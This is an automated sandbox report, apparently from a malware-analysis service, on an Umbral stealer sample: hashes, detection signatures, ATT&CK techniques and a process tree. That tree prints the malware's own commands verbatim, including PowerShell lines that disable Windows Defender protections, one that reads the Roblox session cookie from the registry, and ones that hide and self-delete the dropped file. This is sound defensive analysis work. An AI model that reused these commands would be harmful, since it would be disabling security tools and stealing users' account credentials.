umbral | d0e0881cc1edb247c39628fbcaec00fae6ec3617bde0869538aed888f4e6a63a

Analysis

max time kernel
150s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27-01-2025 18:56

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General

Target

load.exe
Size

17.8MB
MD5

86d4579d1dbfd7be291f5d198d805398
SHA1

8636bb288af7549f10d50eba8f8a4489ffee4222
SHA256

d0e0881cc1edb247c39628fbcaec00fae6ec3617bde0869538aed888f4e6a63a
SHA512

0ae111f7761778429b6e93ecbd4547a3280c52dfba781c42cf37e046cfe440d69d49a3caa8d3a58f6013b644e80e908fdbd7415340b764f6a4900806aceb877c
SSDEEP

393216:YQsUy4Ln/msXQDkaxfqTJ9h7yXVHM5dzI2UeHqrCMMDcbiK3:nsun/3GTxW9h7G5M7z2eHqeMMDcWK3

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000016d1f-6.dat	family_umbral
behavioral1/memory/2720-14-0x00000000001D0000-0x0000000000210000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe
3056	powershell.exe
1108	powershell.exe
2604	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Slinky_Dependences.exe

Executes dropped EXE 2 IoCs

pid	Process
2720	Slinky_Dependences.exe
848	load.exe

Loads dropped DLL 2 IoCs

pid	Process
2376	load.exe
2172	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
836	cmd.exe
1300	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2308	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1300	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2720	Slinky_Dependences.exe
2892	powershell.exe
3056	powershell.exe
1108	powershell.exe
2064	powershell.exe
2604	powershell.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe
848	load.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	Slinky_Dependences.exe
Token: SeIncreaseQuotaPrivilege	2360	wmic.exe
Token: SeSecurityPrivilege	2360	wmic.exe
Token: SeTakeOwnershipPrivilege	2360	wmic.exe
Token: SeLoadDriverPrivilege	2360	wmic.exe
Token: SeSystemProfilePrivilege	2360	wmic.exe
Token: SeSystemtimePrivilege	2360	wmic.exe
Token: SeProfSingleProcessPrivilege	2360	wmic.exe
Token: SeIncBasePriorityPrivilege	2360	wmic.exe
Token: SeCreatePagefilePrivilege	2360	wmic.exe
Token: SeBackupPrivilege	2360	wmic.exe
Token: SeRestorePrivilege	2360	wmic.exe
Token: SeShutdownPrivilege	2360	wmic.exe
Token: SeDebugPrivilege	2360	wmic.exe
Token: SeSystemEnvironmentPrivilege	2360	wmic.exe
Token: SeRemoteShutdownPrivilege	2360	wmic.exe
Token: SeUndockPrivilege	2360	wmic.exe
Token: SeManageVolumePrivilege	2360	wmic.exe
Token: 33	2360	wmic.exe
Token: 34	2360	wmic.exe
Token: 35	2360	wmic.exe
Token: SeIncreaseQuotaPrivilege	2360	wmic.exe
Token: SeSecurityPrivilege	2360	wmic.exe
Token: SeTakeOwnershipPrivilege	2360	wmic.exe
Token: SeLoadDriverPrivilege	2360	wmic.exe
Token: SeSystemProfilePrivilege	2360	wmic.exe
Token: SeSystemtimePrivilege	2360	wmic.exe
Token: SeProfSingleProcessPrivilege	2360	wmic.exe
Token: SeIncBasePriorityPrivilege	2360	wmic.exe
Token: SeCreatePagefilePrivilege	2360	wmic.exe
Token: SeBackupPrivilege	2360	wmic.exe
Token: SeRestorePrivilege	2360	wmic.exe
Token: SeShutdownPrivilege	2360	wmic.exe
Token: SeDebugPrivilege	2360	wmic.exe
Token: SeSystemEnvironmentPrivilege	2360	wmic.exe
Token: SeRemoteShutdownPrivilege	2360	wmic.exe
Token: SeUndockPrivilege	2360	wmic.exe
Token: SeManageVolumePrivilege	2360	wmic.exe
Token: 33	2360	wmic.exe
Token: 34	2360	wmic.exe
Token: 35	2360	wmic.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeIncreaseQuotaPrivilege	1616	wmic.exe
Token: SeSecurityPrivilege	1616	wmic.exe
Token: SeTakeOwnershipPrivilege	1616	wmic.exe
Token: SeLoadDriverPrivilege	1616	wmic.exe
Token: SeSystemProfilePrivilege	1616	wmic.exe
Token: SeSystemtimePrivilege	1616	wmic.exe
Token: SeProfSingleProcessPrivilege	1616	wmic.exe
Token: SeIncBasePriorityPrivilege	1616	wmic.exe
Token: SeCreatePagefilePrivilege	1616	wmic.exe
Token: SeBackupPrivilege	1616	wmic.exe
Token: SeRestorePrivilege	1616	wmic.exe
Token: SeShutdownPrivilege	1616	wmic.exe
Token: SeDebugPrivilege	1616	wmic.exe
Token: SeSystemEnvironmentPrivilege	1616	wmic.exe
Token: SeRemoteShutdownPrivilege	1616	wmic.exe
Token: SeUndockPrivilege	1616	wmic.exe
Token: SeManageVolumePrivilege	1616	wmic.exe
Token: 33	1616	wmic.exe
Token: 34	1616	wmic.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 2720	2376	load.exe	30
PID 2376 wrote to memory of 2720	2376	load.exe	30
PID 2376 wrote to memory of 2720	2376	load.exe	30
PID 2720 wrote to memory of 2360	2720	Slinky_Dependences.exe	31
PID 2720 wrote to memory of 2360	2720	Slinky_Dependences.exe	31
PID 2720 wrote to memory of 2360	2720	Slinky_Dependences.exe	31
PID 2720 wrote to memory of 2800	2720	Slinky_Dependences.exe	34
PID 2720 wrote to memory of 2800	2720	Slinky_Dependences.exe	34
PID 2720 wrote to memory of 2800	2720	Slinky_Dependences.exe	34
PID 2720 wrote to memory of 2892	2720	Slinky_Dependences.exe	36
PID 2720 wrote to memory of 2892	2720	Slinky_Dependences.exe	36
PID 2720 wrote to memory of 2892	2720	Slinky_Dependences.exe	36
PID 2720 wrote to memory of 3056	2720	Slinky_Dependences.exe	38
PID 2720 wrote to memory of 3056	2720	Slinky_Dependences.exe	38
PID 2720 wrote to memory of 3056	2720	Slinky_Dependences.exe	38
PID 2720 wrote to memory of 1108	2720	Slinky_Dependences.exe	40
PID 2720 wrote to memory of 1108	2720	Slinky_Dependences.exe	40
PID 2720 wrote to memory of 1108	2720	Slinky_Dependences.exe	40
PID 2720 wrote to memory of 2064	2720	Slinky_Dependences.exe	42
PID 2720 wrote to memory of 2064	2720	Slinky_Dependences.exe	42
PID 2720 wrote to memory of 2064	2720	Slinky_Dependences.exe	42
PID 2720 wrote to memory of 1616	2720	Slinky_Dependences.exe	45
PID 2720 wrote to memory of 1616	2720	Slinky_Dependences.exe	45
PID 2720 wrote to memory of 1616	2720	Slinky_Dependences.exe	45
PID 2720 wrote to memory of 2384	2720	Slinky_Dependences.exe	47
PID 2720 wrote to memory of 2384	2720	Slinky_Dependences.exe	47
PID 2720 wrote to memory of 2384	2720	Slinky_Dependences.exe	47
PID 2720 wrote to memory of 2152	2720	Slinky_Dependences.exe	49
PID 2720 wrote to memory of 2152	2720	Slinky_Dependences.exe	49
PID 2720 wrote to memory of 2152	2720	Slinky_Dependences.exe	49
PID 2720 wrote to memory of 2604	2720	Slinky_Dependences.exe	51
PID 2720 wrote to memory of 2604	2720	Slinky_Dependences.exe	51
PID 2720 wrote to memory of 2604	2720	Slinky_Dependences.exe	51
PID 2720 wrote to memory of 2308	2720	Slinky_Dependences.exe	53
PID 2720 wrote to memory of 2308	2720	Slinky_Dependences.exe	53
PID 2720 wrote to memory of 2308	2720	Slinky_Dependences.exe	53
PID 2720 wrote to memory of 836	2720	Slinky_Dependences.exe	55
PID 2720 wrote to memory of 836	2720	Slinky_Dependences.exe	55
PID 2720 wrote to memory of 836	2720	Slinky_Dependences.exe	55
PID 836 wrote to memory of 1300	836	cmd.exe	57
PID 836 wrote to memory of 1300	836	cmd.exe	57
PID 836 wrote to memory of 1300	836	cmd.exe	57
PID 2376 wrote to memory of 848	2376	load.exe	58
PID 2376 wrote to memory of 848	2376	load.exe	58
PID 2376 wrote to memory of 848	2376	load.exe	58

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2800	attrib.exe

C:\Users\Admin\AppData\Local\Temp\load.exe
"C:\Users\Admin\AppData\Local\Temp\load.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe"
    3⤵
    - Views/modifies file attributes
    PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1616
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2384
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2604
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2308
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1300
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\load.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\load.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Slinky_Dependences.exe

Filesize
229KB

MD5
f8286606b9be55be61dc21f3c8684bce

SHA1
d5768631ef573e5532e39820744ec3948cba0188

SHA256
069ec421fc87771c32dbbda60b242fde015a5a9492da07357edfbef984de1dd7

SHA512
1d14fd7a2435d7be4a12b6cde7eba6d06a388384ed9dd4227988a048912f44d2e932d9ea0c4794414ace615998224cb28d6c299c4dae4b0471381e101ac6c6a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\load.exe

Filesize
18.4MB

MD5
38019371c7cfc54d0c08629da0384a1f

SHA1
87509b8aa5549f22b53362588c624b010cfa5b26

SHA256
d4f6bfde46ea2394570619fa89f8cdc8ac00b297179fe8831558530ec48492f1

SHA512
75f204fa1be253a68678ec7a6637a8db1b02346fb429365500427e493fd0c2b2d2b24a4ae30de3f777c239af507c141f979b6012c8b394f663d073f2850d682d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1f60e50bd4300c8608286d8a67992c48

SHA1
9769f33dd5f251b4fdb430582343a63c80ba36b1

SHA256
a1769d96cb560d9ed1ffbdd40224c0f422c0808afd6dd6e6a8222e9d8e7349d2

SHA512
014b47376e93c68ef3c5681e68f9ceae112aae293f625b48b07b07b0a8e683d24439dc27d984cfa85e539e062a91f7f62849c2f47c7daeb231749ec4f9e24a22

Download Submit
memory/2604-56-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2720-15-0x000007FEF6520000-0x000007FEF6F0C000-memory.dmp

Filesize
9.9MB

Download
memory/2720-14-0x00000000001D0000-0x0000000000210000-memory.dmp

Filesize
256KB

Download
memory/2720-60-0x000007FEF6520000-0x000007FEF6F0C000-memory.dmp

Filesize
9.9MB

Download
memory/2720-13-0x000007FEF6523000-0x000007FEF6524000-memory.dmp

Filesize
4KB

Download
memory/2892-20-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2892-21-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/3056-27-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/3056-28-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download